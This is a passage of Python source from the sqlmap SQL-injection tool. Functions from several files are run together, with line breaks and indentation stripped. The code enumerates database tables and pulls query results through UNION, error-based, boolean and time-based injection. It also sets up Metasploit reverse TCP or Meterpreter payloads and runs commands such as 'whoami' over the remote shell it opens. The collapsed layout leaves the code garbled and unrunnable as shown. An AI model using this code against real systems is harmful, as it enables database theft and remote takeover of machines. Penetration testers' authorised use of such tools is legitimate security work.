elif Backend.isDbms( DBMS.MSSQL) and Backend.isVersionWithin( ("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith( "reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ( "S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr
def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if bruteForce is None: if Backend.isDbms( DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True else: return tables if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = filter(None, dbs) if bruteForce: resumeAvailable = False for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break if resumeAvailable: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) return kb.data.cachedTables message = "do you want to use common table existence check? %s" % ( "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, ) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) infoMsg = "fetching tables for database" infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None if condition: if not Backend.isDbms(DBMS.SQLITE): query += " WHERE %s" % condition if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ( "s" if len(self.excludeDbsList) > 1 else "", ", ".join( unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) query += " IN (%s)" % ",".join( "'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) else: query += " IN (%s)" % ",".join( "'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = filter(None, arrayizeValue(values)) if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(table, True) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable( ) and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming( db) logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming( db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming( db) warnMsg += "appears to be empty" logger.warn(warnMsg) continue elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) continue tables = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, ( kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.query % ( kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index else: query = rootQuery.blind.query % ( unsafeSQLIdentificatorNaming(db), index) table = unArrayizeValue( inject.getValue(query, union=False, error=False)) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming( db) logger.warn(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) else: raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: for db in kb.data.cachedTables.keys(): kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms( ): if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms( ) singleTimeWarnMessage(warnMsg) conf.hexConvert = False else: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[ PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[ PAYLOAD.TECHNIQUE. UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join( filterNone( key if isTechniqueAvailable(value) else None for key, value in { 'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION }.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) kb.responseTimeMode = "%s|%s" % ( match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any( (kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms( ) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in ( DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) if isinstance(value, six.text_type) and "\\x" in value: try: candidate = eval( repr(value).replace("\\\\x", "\\x").replace( "u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected)
def _controlMsfCmd(self, proc, func): initialized = False start_time = time.time() stdin_fd = sys.stdin.fileno() while True: returncode = proc.poll() if returncode is None: # Child hasn't exited yet pass else: logger.debug("connection closed properly") return returncode try: if IS_WIN: timeout = 3 inp = "" _ = time.time() while True: if msvcrt.kbhit(): char = msvcrt.getche() if ord(char) == 13: # enter_key break elif ord(char) >= 32: # space_char inp += char if len(inp) == 0 and (time.time() - _) > timeout: break if len(inp) > 0: try: send_all(proc, inp) except (EOFError, IOError): # Probably the child has exited pass else: ready_fds = select([stdin_fd], [], [], 1) if stdin_fd in ready_fds[0]: try: send_all(proc, blockingReadFromFD(stdin_fd)) except (EOFError, IOError): # Probably the child has exited pass out = recv_some(proc, t=.1, e=0) blockingWriteToFD(sys.stdout.fileno(), out) # For --os-pwn and --os-bof pwnBofCond = self.connectionStr.startswith("reverse") pwnBofCond &= "Starting the payload handler" in out # For --os-smbrelay smbRelayCond = "Server started" in out if pwnBofCond or smbRelayCond: func() timeout = time.time() - start_time > METASPLOIT_SESSION_TIMEOUT if not initialized: match = re.search("Meterpreter session ([\d]+) opened", out) if match: self._loadMetExtensions(proc, match.group(1)) if "shell" in self.payloadStr: send_all( proc, "whoami\n" if Backend.isOs(OS.WINDOWS) else "uname -a ; id\n") time.sleep(2) initialized = True elif timeout: proc.kill() errMsg = "timeout occurred while attempting " errMsg += "to open a remote session" raise SqlmapGenericException(errMsg) if conf.liveTest and timeout: if initialized: send_all(proc, "exit\n") time.sleep(2) else: proc.kill() except (EOFError, IOError): return proc.returncode